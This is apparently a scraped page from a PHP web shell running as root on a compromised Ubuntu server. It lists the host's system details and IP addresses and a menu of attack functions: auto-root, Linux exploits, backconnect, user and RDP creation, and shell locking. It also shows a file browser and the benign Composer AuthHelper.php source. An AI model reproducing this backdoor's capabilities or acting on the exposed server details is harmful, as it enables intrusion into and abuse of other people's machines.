Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.216.67
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Composer /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
AuthHelper.php
1.66
KB
-rw-r--r--
Bitbucket.php
8.38
KB
-rw-r--r--
ComposerMirror.php
1.75
KB
-rw-r--r--
ConfigValidator.php
5.45
KB
-rw-r--r--
ErrorHandler.php
2.24
KB
-rw-r--r--
Filesystem.php
21.29
KB
-rw-r--r--
Git.php
14.3
KB
-rw-r--r--
GitHub.php
4.52
KB
-rw-r--r--
GitLab.php
5.42
KB
-rw-r--r--
IniHelper.php
1.91
KB
-rw-r--r--
NoProxyPattern.php
4.07
KB
-rw-r--r--
Perforce.php
16.72
KB
-rw-r--r--
Platform.php
2.54
KB
-rw-r--r--
ProcessExecutor.php
5.49
KB
-rw-r--r--
RemoteFilesystem.php
41.17
KB
-rw-r--r--
Silencer.php
2.12
KB
-rw-r--r--
SpdxLicense.php
570
B
-rw-r--r--
StreamContextFactory.php
7.13
KB
-rw-r--r--
Svn.php
9.31
KB
-rw-r--r--
TlsHelper.php
6.51
KB
-rw-r--r--
Url.php
2.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AuthHelper.php
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Util; use Composer\Config; use Composer\IO\IOInterface; /** * @author Jordi Boggiano <j.boggiano@seld.be> */ class AuthHelper { protected $io; protected $config; public function __construct(IOInterface $io, Config $config) { $this->io = $io; $this->config = $config; } public function storeAuth($originUrl, $storeAuth) { $store = false; $configSource = $this->config->getAuthConfigSource(); if ($storeAuth === true) { $store = $configSource; } elseif ($storeAuth === 'prompt') { $answer = $this->io->askAndValidate( 'Do you want to store credentials for '.$originUrl.' in '.$configSource->getName().' ? [Yn] ', function ($value) { $input = strtolower(substr(trim($value), 0, 1)); if (in_array($input, array('y','n'))) { return $input; } throw new \RuntimeException('Please answer (y)es or (n)o'); }, null, 'y' ); if ($answer === 'y') { $store = $configSource; } } if ($store) { $store->addConfigSetting( 'http-basic.'.$originUrl, $this->io->getAuthentication($originUrl) ); } } }
Close